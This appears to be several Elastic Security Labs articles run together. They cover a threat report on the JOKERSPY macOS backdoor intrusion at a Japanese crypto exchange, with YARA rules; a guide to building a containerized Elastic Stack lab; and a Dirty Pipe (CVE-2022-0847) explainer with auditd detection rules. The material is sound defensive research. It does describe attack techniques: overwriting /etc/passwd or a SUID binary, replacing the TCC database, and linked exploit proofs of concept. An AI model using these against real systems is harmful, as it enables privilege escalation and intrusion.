    condition:
        all of them
}

References

The following were referenced throughout the above research:

• https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F
• https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

• This is an initial notification of an active intrusion with additional details to follow
• REF9134 leverages custom and open source tools for reconnaissance and command and control
• Targets of this activity include a cryptocurrency exchange in Japan

Preamble

This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the sh.py backdoor to deploy the macOS Swiftbelt enumeration tool. sh.py and xcc have recently been dubbed JOKERSPY by Bitdefender.

Specifically, this research covers:

• How Elastic Security Labs identified reconnaissance from the adversary group
• The adversary’s steps to evade detection using xcc , installing the sh.py backdoor, and deploying enumeration tools

A deeper look at this attack may be published at a later date.

Overview

In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( xcc ). xcc is not trusted by Apple, and the adversary self-signed using the native macOS tool codesign. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.

Following the execution of xcc , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as xcc and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.

Analysis

REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.

The xcc binary

xcc ( d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8 ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 , and has a code signature resembling publicly known and untrusted payloads.

To identify other binaries signed with the same identifier, we converted XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4 to hexadecimal and searched VirusTotal to identify 3 additional samples ( content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434} ).

Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of xcc were developed to bypass endpoint capabilities that interfered with execution.

Shortly after the creation of xcc , researchers observed the threat actor copying /Users/Shared/tcc.db over the existing TCC database, /Library/Application Support/com.apple.TCC/TCC.db. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.

XCode artifacts

During analysis of this binary, researchers identified two unique paths, /Users/joker/Developer/Xcode/DerivedData/ and /Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/ , which stood out as anomalous. The default path for compiling code with Xcode is /Users/[username]/Developer/Xcode/DerivedData.

Abusing TCC

These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that xcc checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.

Upon successfully executing in our Detonate environment, the following results were displayed:

Once the custom TCC database was placed in the expected location, the threat actor executed the xcc binary.

Initial access

The xcc binary was executed via bash by three separate processes

• /Applications/IntelliJ IDEA.app/Contents/MacOS/idea
• /Applications/iTerm.app/Contents/MacOS/iTerm2
• /Applications/Visual Studio Code.app/Contents/MacOS/Electron.

While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at Bitdefender who correlated the hardcoded domain found in a version of the sh.py backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.

Deployed cryptographic libraries

On May 31st, researchers observed three non-native DyLibs deployed to /Users/shared/keybag/ called libcrypto.1.0.0.dylib , libncursesw.5.dylib , and libssl.1.0.0.dylib. On MacOS, keys for file and keychain Data Protection are stored in keybags, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.

The sh.py backdoor

sh.py is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt .

The malware loads its configuration from ~/Public/Safari/sar.dat. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.

As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:

• Hostname
• Username
• Domain name
• Current directory
• The absolute path of the executable binary
• OS version
• Is 64-bit OS
• Is 64-bit process
• Python version

Below is a table outlining the various commands that can be handled by the backdoor:

Swiftbelt

On June 1st, the compromised system registered a signature alert for MacOS.Hacktool.Swiftbelt, a MacOS enumeration capability inspired by SeatBelt and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, xcc variants are also written using Swift.

The signature alert indicated that Swiftbelt was written to /Users/shared/sb and executed using the bash shell interpreter, sh. The full command line observed by researchers was Users/Shared/sb /bin/sh -c /users/shared/sb \> /users/shared/sb.log 2\>&1 , demonstrating that the threat actor captured results in sb.log while errors were directed to STDOUT.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Observed tactics and techniques

MITRE ATT&CK Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:

• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Discovery

MITRE ATT&CK Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:

• Command and Scripting Interpreter
• Dylib Hijacking
• Potential Exploitation for Privilege Execution
• Potential Abuse Elevation Control Mechanism
• Hide Artifacts
• Masquerading
• Obfuscating Files or Information
• Subvert Trust Controls
• Application Window Discovery
• Screen Capture
• Crytpoistic Software
• Data from Local System

Detection logic

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.

rule Macos_Hacktool_JokerSpy {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-19"
        last_modified = "2023-06-19"
        os = "MacOS"
        arch = "x86"
        category_type = "Hacktool"
        family = "JokerSpy"
        threat_name = "Macos.Hacktool.JokerSpy"
        reference_sample = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
        license = "Elastic License v2"

    strings:
        $str1 = "ScreenRecording: NO" fullword
        $str2 = "Accessibility: NO" fullword
        $str3 = "Accessibility: YES" fullword
        $str4 = "eck13XProtectCheck"
        $str5 = "Accessibility: NO" fullword
        $str6 = "kMDItemDisplayName = *TCC.db" fullword
    condition:
        5 of them
}

rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = "Elastic Security"
        creation_date = "2021-10-12"
        last_modified = "2021-10-25"
        threat_name = "MacOS.Hacktool.Swiftbelt"
        reference_sample = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
        os = "macos"
        arch_context = "x86"
        license = "Elastic License v2"

    strings:
        $dbg1 = "SwiftBelt/Sources/SwiftBelt"
        $dbg2 = "[-] Firefox places.sqlite database not found for user"
        $dbg3 = "[-] No security products found"
        $dbg4 = "SSH/AWS/gcloud Credentials Search:"
        $dbg5 = "[-] Could not open the Slack Cookies database"
        $sec1 = "[+] Malwarebytes A/V found on this host"
        $sec2 = "[+] Cisco AMP for endpoints found"
        $sec3 = "[+] SentinelOne agent running"
        $sec4 = "[+] Crowdstrike Falcon agent found"
        $sec5 = "[+] FireEye HX agent installed"
        $sec6 = "[+] Little snitch firewall found"
        $sec7 = "[+] ESET A/V installed"
        $sec8 = "[+] Carbon Black OSX Sensor installed"
        $sec9 = "/Library/Little Snitch"
        $sec10 = "/Library/FireEye/xagt"
        $sec11 = "/Library/CS/falcond"
        $sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
        $sec13 = "/Library/Application Support/Malwarebytes"
        $sec14 = "/usr/local/bin/osqueryi"
        $sec15 = "/Library/Sophos Anti-Virus"
        $sec16 = "/Library/Objective-See/Lulu"
        $sec17 = "com.eset.remoteadministrator.agent"
        $sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
        $sec19 = "/Applications/BlockBlock Helper.app"
        $sec20 = "/Applications/KextViewr.app"
    condition:
        6 of them
}

References

The following were referenced throughout the above research:

• https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack

Observations

The following observables were discussed in this research.

The Elastic Stack is a modular data analysis ecosystem. While this allows for engineering flexibility, it can be cumbersome to stand up a development instance for testing. The easiest way to stand up the Elastic Stack, is to use Elastic Cloud - it’s completely turnkey. However, there could be situations where Elastic Cloud won’t work for your testing environment. To help with this, this blog will provide you with the necessary information required in order to quickly and painlessly stand up a local, fully containerized, TLS-secured, Elastic Stack with Fleet and the Detection Engine enabled. You will be able to create a Fleet policy, install an Elastic Agent on a local host or VM, and send the data into your stack for monitoring or analysis.

This blog will cover the following:

• The Elastic Stack
• The Elastic Container project
• How to use the Elastic Container project
• How to navigate Kibana and use its related features for security research

The Elastic Container Project is not sponsored or maintained by the company, Elastic. Design and implementation considerations for the project may not reflect Elastic’s guidance on deploying a production-ready stack.

The Elastic Stack

The Elastic Stack is made up of several different components, each of which provide a distinct capability that can be utilized across a wide variety of use cases.

Elasticsearch

Elasticsearch is a distributed, RESTful search and analytics engine. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine-tuned relevancy, and powerful analytics that scale with ease.

Kibana

Kibana is the user interface that lets you visualize your Elasticsearch data and manage the Elastic Stack.

The Elastic Agent

The Elastic Agent is the modular agent that allows you to collect data from an endpoint or act as a vehicle to ship data from 3rd party sources, like threat feeds. The Elastic Security integration for endpoints prevents ransomware and malware, detects advanced threats, and arms responders with vital investigative context.

The Elastic Container Project

As mentioned above, the Elastic Stack is modular which makes it very flexible for a wide variety of use cases but this can add complexity to the implementation.

The Elastic Container project is an open source project that uses Docker Compose as a way to stand up a fully-functional Elastic Stack for use in non-production environments. This project is not sponsored or maintained by the Elastic company.

Introduction

The Elastic Container Project includes three main components:

• Elasticsearch
• Kibana
• the Elastic Agent

The project leverages Docker Compose, which is a tool to build, integrate, and manage multiple Docker containers.

To simplify the management of the containers, the project includes a shell script that allows for the staging, starting, stopping, and destroying of the containers.

Additionally, the project makes use of self-signed TLS certificates between Elasticsearch and Kibana, Kibana and your web browser, the Elastic Agent and Elasticsearch, and the Elastic Agent and Kibana.

Prerequisites

The project was built and tested on Linux and macOS operating systems. If you are using Windows, you’ll not be able to use the included shell script, but you can still run native Docker Compose commands and manually perform post-deployment steps.

While not thoroughly tested, it is recommended that you contribute 4 cores and 8 GB of RAM to Docker.

There are only a few packages you need to install:

• Docker
• Docker Compose
• jq
• Git
• cURL

macOS

If you’re running on macOS, you can install the prerequisites using Homebrew, which is an open-source package management system for macOS. Check out the Homebrew site for information on installing it if needed.

**brew install jq git**
**brew install --cask docker**

Linux

If you’re running on Linux, you can install the prerequisites using your package management system ( DNF , Yum , or APT ).

RPM-based distributions

**dnf install jq git curl**

Ubuntu

**apt-get install jq git curl**

You'll also need the Docker suite (including the docker-compose-plugin ). Check out Docker's installation instructions for your OS'

Cloning the project repository

The Elastic Container project is stored on Github. As long as you have Git installed, you can collect it from your CLI of choice.

**git clone https://github.com/peasead/elastic-container.git**
**cd elastic-container**

This repository includes everything needed to stand up the Elastic Stack containers using a single shell script.

Setting credentials

Before proceeding, ensure you update the credentials for the Elastic and Kibana accounts in the .env file located in the root directory of the repository from their defaults of changeme.

The shell script

As mentioned above, the project includes a shell script that will simplify the management of the containers.

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
 **help print this message**
 **flags:**
 **-v enable verbose output**

Stage

This option downloads all of the containers from the Elastic Docker hub. This is useful if you are going to be building the project on a system that does not always have Internet access. This is not required, you can skip this option and move directly to the start option, which will download the containers.

**$ ./elastic-container.sh stage**
**8.3.0: Pulling from elasticsearch/elasticsearch**
**7aabcb84784a: Already exists**
**e3f44495617d: Downloading [====\\>] 916.5kB/11.26MB**
**52008db3f842: Download complete**
**551b59c59fdc: Downloading [\\>] 527.4kB/366.9MB**
**25ee26aa662e: Download complete**
**7a85d02d9264: Download complete**
**…**

Start

This opinion will create the container network, download all of the required containers, set up the TLS certificates, and start and connect Elasticsearch, Kibana, and the Fleet server containers together. This option is a “quick start” to get the Elastic Stack up and running. If you have not changed your credentials in the .env file from the defaults, the script will exit.

**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers**
**[+] Running 7/8**
 **⠿ Network elastic-container\_default Created 0.0s**
 **⠿ Volume "elastic-container\_certs" Created 0.0s**
 **⠿ Volume "elastic-container\_esdata01" Created 0.0s**
 **⠿ Volume "elastic-container\_kibanadata" Created 0.0s**
 **⠿ Container elasticsearch-security-setup Waiting 2.0s**
 **⠿ Container elasticsearch Created 0.0s**
**…**

Stop

This option will stop all running containers in the project, but will not remove them.

**$ ./elastic-container.sh stop**

**Stopping running containers.**
**[+] Running 4/4**
 **⠿ Container elastic-agent Stopped 0.0s**
 **⠿ Container kibana Stopped 0.0s**
 **⠿ Container elasticsearch Stopped 0.0s**
 **⠿ Container elasticsearch-security-setup Stopped**
**…**

Destroy

This option will stop all running containers in the project, remove the container network, remove all data volumes, and remove all containers.

**$ ./elastic-container.sh destroy**

**#####**
**Stopping and removing the containers, network, and volumes created.**
**#####**
**[+] Running 8/4**
 **⠿ Container elastic-agent Removed 0.0s**
 **⠿ Container kibana Removed 0.0s**
 **⠿ Container elasticsearch Removed 0.0s**
 **⠿ Container elasticsearch-security-setup Removed 0.3s**
 **⠿ Volume elastic-container\_esdata01 Removed 0.0s**
 **⠿ Network elastic-container\_default Removed 0.1s**
**…**

Restart

This option restarts all of the project containers.

**$ ./elastic-container.sh restart

#####
Restarting all Elastic Stack components.
#####
Name Command State Ports
---------------------------
elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\>9200/tcp, 9300/tcp
fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\>8220/tcp
kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\>5601/tcp**

Status

This option returns the status of the project containers.

**$ ./elastic-container.sh status**
**Name Command State Ports**
**---------------------------**
**elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\>9200/tcp, 9300/tcp**
**fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\>8220/tcp**
**kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\>5601/tcp**

Clear

This option clears all documents in the logs and metrics indices.

**$ ./elastic-container.sh clear**

**Successfully cleared logs data stream**
**Successfully cleared metrics data stream**

Help

This option provides instructions on using the shell script.

**$ ./elastic-container.sh help**

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates a container network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
**clear all documents in logs and metrics indexes**
 **help print this message**
**flags:**
 **-v enable verbose output**

Getting Started

Now that we’ve walked through the project overview and the shell script, let’s go through the process of standing up your own stack.

Updating variables

All of the variables are controlled in an environment file ( .env ) that is at the root of the repository. The only things that you must change are the default usernames and passwords for elastic and kibana.

Open the .env file with whatever text editor you’re most comfortable with and update the ELASTIC_PASSWORD and KIBANA_PASSWORD variables from changeme to something secure. If you do not update the credentials from the defaults in the .env file, the script will exit.

If you want to change the other variables (such as the stack version), you can do so in this file.

Starting the Elastic Stack

Starting the project containers is as simple as running the elastic-container.sh shell script with the start option.

**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers
[+] Running 7/8
⠿ Network elastic-container\_default Created 0.0s
⠿ Volume "elastic-container\_certs" Created 0.0s
⠿ Volume "elastic-container\_esdata01" Created 0.0s
⠿ Volume "elastic-container\_kibanadata" Created 0.0s
⠿ Container elasticsearch-security-setup Waiting 2.0s
⠿ Container elasticsearch Created 0.0s
⠿ Container kibana Created 0.1s
⠿ Container fleet-server Created 0.2s

Attempting to enable the Detection Engine and Prebuilt-Detection Rules
Kibana is up. Proceeding
Detection engine enabled. Installing prepackaged rules.
Prepackaged rules installed!
Waiting 40 seconds for Fleet Server setup
Populating Fleet Settings
READY SET GO!

Browse to https://localhost:5601
Username: elastic
Passphrase: you-changed-me-from-the-default-right?**

Accessing the Elastic Stack

Once the containers have all downloaded and started, you’ll get an output that tells you to browse to https://localhost:5601.

Note: You’ll need to accept the self-signed TLS certificate.

Enabling the Platinum Features

Enabling the Platinum license features are completely optional. Security features, like anti-malware, EDR, EPP, etc. are included in the Basic license. Memory, behavior, and ransomware protections are Platinum license features. If you want to change your license, we can do that with the .env file or from within Kibana. You can update to Elastic Platinum for 30-days.

If you want to use the .env file so that the features are enabled when the stack is built, change LICENSE=basic to LICENSE=trial and then start the project as normal.

If you prefer to use Kibana, click on the hamburger menu, and then click on Stack Management.

Click on License Management and then “Start a 30-day trial”.

Creating a Fleet policy

Now that we have the entire Elastic Stack up and running, we can make a Fleet policy. Fleet is a subroutine of an Elastic Agent (which was built when we ran the start option in the shell script) that enables you to manage other Elastic Agents, policies, and integrations.

Fleet is managed in Kibana, the UI that allows you to interact with data stored in Elasticsearch and manage your Elastic stack. If you’re interested in learning more about Kibana, check out the free training videos.

Log into your Kibana instance and click on the “hamburger” menu on the top left, and navigate down to “Fleet”, under the “Management” section.

Next, click on the “Agent policies” tab and then the “Create agent policy” button.

Give your new policy a name and a description (optional). Normally, we uncheck the “Collect agent logs” and “Collect agent metrics” options because it’s additional data going to the stack that we generally don’t need for our specific use-case. If you’re doing troubleshooting or interested in what’s happening behind the scenes, this data can help you understand that.

Next, click on your new policy and the blue “Add integration” button.

There are hundreds of integrations, but the ones that we’re most interested in for this blog are for Elastic Security.

To install Elastic Security, simply click on the tile on the main integrations page or search for “security”.

Next, click the “Add Endpoint and Cloud Security” button to install this integration into the policy we just created.

Name the integration and click the blue “Save and continue” button.

While the Endpoint and Cloud Security and System integrations will collect security related logs, if you’re using Sysmon on a Windows host, you may want to add the “Windows” integration to collect those logs.

Once the integration is installed, you’ll be prompted to add more Agents or to do that later. Select the “Add Elastic Agent later” option so we can make a few more changes to our policy.

Now we’ll be dropped back to our policy page.

We should have two integrations for our policy: security and system-1.

Before we add any agents, we’ll want to set our Elastic Agent to Detect (so that it allows the malware to completely execute), register the Elastic Agent as a trusted AV solution (Windows only), and instruct the Endpoint and Cloud Security integration to collect memory samples from security events. This is tremendously helpful for “fileless” malware that injects directly into memory, like Cobalt Strike.

If you want to learn more about extracting malware beacons from events generated by the Elastic Agent, check out our other publications and repositories.

To allow the malware to continue to execute, on your “Windows” policy page, click on the name of the integration (“security” in our example), set the Protection level to “Detect”.

Repeat these steps for the Ransomware, Memory threat protections, and Malicious behavior sections.

We’re setting the Elastic Agent to Detect so that the malware we’re detonating will run completely so that we can analyze the entire execution chain. If you want the malware to be stopped, you can leave this in Prevent mode.

Next, scroll to the bottom and select the “Register as antivirus” toggle and click on the “Show advanced settings” hyperlink.

Scroll down to windows.advanced.memory_protection.shellcode_collect_sample , windows.advanced.memory_protection.memory_scan_collect_sample , and windows.advanced.memory_protection.shellcode_enhanced_pe_parsing options and set the value to true.

As mentioned above, these steps are for labs, sandboxes, testing, etc. These settings can generate a lot of data, so setting these for production will need resourcing and sizing considerations.

If you’re making a policy for Linux or macOS, repeat these for the proper OS.

Once we’re done with all of the post-installation configurations, we can click the blue Save integration button.

Enabling Elastic’s Prebuilt Detection Rules

Now that we have created our Fleet agent policy we need to enable the set of pre-built detection rules associated with the OS or platform we will be deploying on (e.g Windows). To do this you will need to go to the Alerts page within the security app.

Click on the hamburger menu and select Alerts, under the Security solution.

Next, click on the blue Manage Rules button.

Once on the Rules page you can update all of the prebuilt rules provided by Elastic by clicking on the “Update Elastic prebuilt rules” button. The update framework is enabled when you go into the “Manage rules” section for the first time, if the “Update Elastic prebuilt rules” button isn’t present, refresh the screen.

Once the rules have been updated, you can browse the available detection rules, search them by a number of different patterns or simply filter by tag, which is what we will do here by searching for Windows rules.

Now we can select all of the Windows rules.

Once all of the rules have been selected, we can bulk enable them.

As the Elastic Container Project runs completely inside single Docker containers, performance impacts could be noticed if you enable all of the rules available. Explore the different rules and enable or disable them based on your infrastructure and use cases.

After we have enabled these rules they will be live and will be run against the data your endpoint agent sends into your stack. When the Detection Engine rules are triggered, they will be raised in the Alerts page in the Security Solution.

Enrolling an Elastic Agent

Still in Fleet, we have several ways to add an Elastic Agent. The most straightforward is from within the policy that we want to enroll an Elastic Agent into (otherwise you have to specify which policy you want to use). It doesn’t really matter which approach you use, but clicking on the Actions button and then Add agent works from just about anywhere in Fleet.

Scroll down and click on the OS that you’re going to be installing the Elastic Agent on, and copy/paste the instructions directly into a terminal window on the host you’re going to be installing the agent onto. Note, if you’re using Windows, use a Powershell CLI that is running as (or elevated to) an account with administrative entitlements.

Of note, because all of our TLS certificates are self-signed, we need to append the –insecure flag. This is unnecessary if you are using trusted certificates.

**.\elastic-agent.exe install --url=https://[stack-ip]:8220 --enrollment-token=[token] --insecure**

Back in Kibana, we can see confirmation that the Elastic Agent installed on the host and that data is being recorded into Elasticsearch.

We can see that the Elastic Agent is reporting into Fleet and is healthy.

If we go into the Discover tab, we can see various event types reporting into Elasticsearch. We can generate some test data by opening notepad.exe , calc.exe , and ping.exe -t www.elastic.co on the host. From Discover, we can make a simple query to validate that we’re seeing the data:

**process.name.caseless : (notepad.exe or ping.exe or calc.exe)**

Now that we’ve validated that we’re seeing data. Let's fire some malware!

Test fire some malware

There are a lot of places you can download malware from, but for this test, we’ll simply use the industry standard EICAR anti malware test file to check the functionality.

The EICAR test is a file that is universally identified by security vendors and is used to test the operation of anti malware software and platforms. It contains a single string and is non-malicious.

From within the Windows host, we’ll use Powershell to download the EICAR file.

**Invoke-WebRequest -Uri "https://secure.eicar.org/eicar.com.txt" -OutFile "eicar.txt"**

As expected, the event was immediately identified by the Elastic Agent’s security integration.

After a few minutes, the events are recorded into the Security Solution within Kibana. You can get there by clicking on the hamburger menu and then clicking on the Alerts section.

Here we can see the alert populated.

If we click on the Analyzer button, we can dig into the event to identify the process that generated the event.

In our example, we can see powershell.exe generated the event and this includes the correlated network events - secure.eicar.org , which is where the EICAR test file was downloaded from.

Summary

In this publication, we introduced you to the Elastic Stack and an open source project that can be used to quickly and securely stand up the entire stack for testing, labs, and security research.

Kibana and the Security Solution are powerful tools that are built by incident responders, threat hunters, and intelligence analysts with security practitioners in mind. To learn more about how to use these tools, Elastic has some great (free and paid) training that can help learn how to use Kibana for threat hunting.

Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.

What is Dirty Pipe (CVE-2022-0847)?

CVE-2022-0847 is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.

What is the impact?

With many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.

What is Elastic doing about it?

Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.

Dirty Pipe Details

The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.

Linux Pipes & CVE-2022-0847

Pipes are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.

Pipes are managed by the CPU in memory and their data is referred to as a “page”.

The exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.

The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.

The exploit functions generally by:

1. Opening a new pipe
2. Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag
3. Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with
4. The splice (“page splicing”) syscall is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions

Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.

We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.

Proof Of Concept Code

The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.

• Original Max Kellermann write-up: https://dirtypipe.cm4all.com/
• SUID shell: ​​https://haxx.in/files/dirtypipez.c
• Passwd overwrite: https://github.com/liamg/traitor
• Passwd overwrite: ​​https://github.com/imfiver/CVE-2022-0847
• Metasploit module: https://github.com/rapid7/metasploit-framework/pull/16303

Finding systems vulnerable to Dirty Pipe

Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.

Using the Elastic Security Integration

If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:

Using the Osquery Manager Integration

Additionally, you can use the Osquery Manager integration to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.

Detecting CVE-2022-0847 exploitation using Auditd

Auditd is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.

Auditd rules

Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.

Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.

Dirty Pipe Auditd rules

-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

The aforementioned rules were adapted by Elastic Security from initial findings by Jonas LeJon.

Linux Auditing System event collection with Elastic

There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.

Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the Auditd rules described above.

The Elastic Agent w/Auditd Integration

The Elastic Agent with the Auditd Integration allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).

Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.

You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : "auditd.log".

Auditbeat

You can use the Auditbeat Auditd module to collect the Linux Audit Framework logs. To do this, install Auditbeat. You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.

Stopping and disabling Auditd

sudo service auditd.service stop
sudo chkconfig auditd.service off

Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.

Adding Dirty Pipe detection rules to the Auditbeat configuration file

# ===== Modules configuration =====

auditbeat.modules:

* module: auditd

# Load audit rules from separate files. Same format as audit.rules(7)

  audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]
  audit_rules: |

## Define audit rules here

## Create file watches (-w) or syscall audits (-a or -A). Uncomment these

## examples or add your own rules

    -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

…truncated…

Check the configuration and connectivity of Auditbeat using the test commands.

Testing the Auditbeat configuration and output settings

sudo auditbeat test config
sudo auditbeat test output

